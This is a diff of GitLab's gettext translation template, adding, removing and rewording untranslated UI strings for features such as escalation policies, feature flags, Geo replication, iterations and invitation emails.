@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
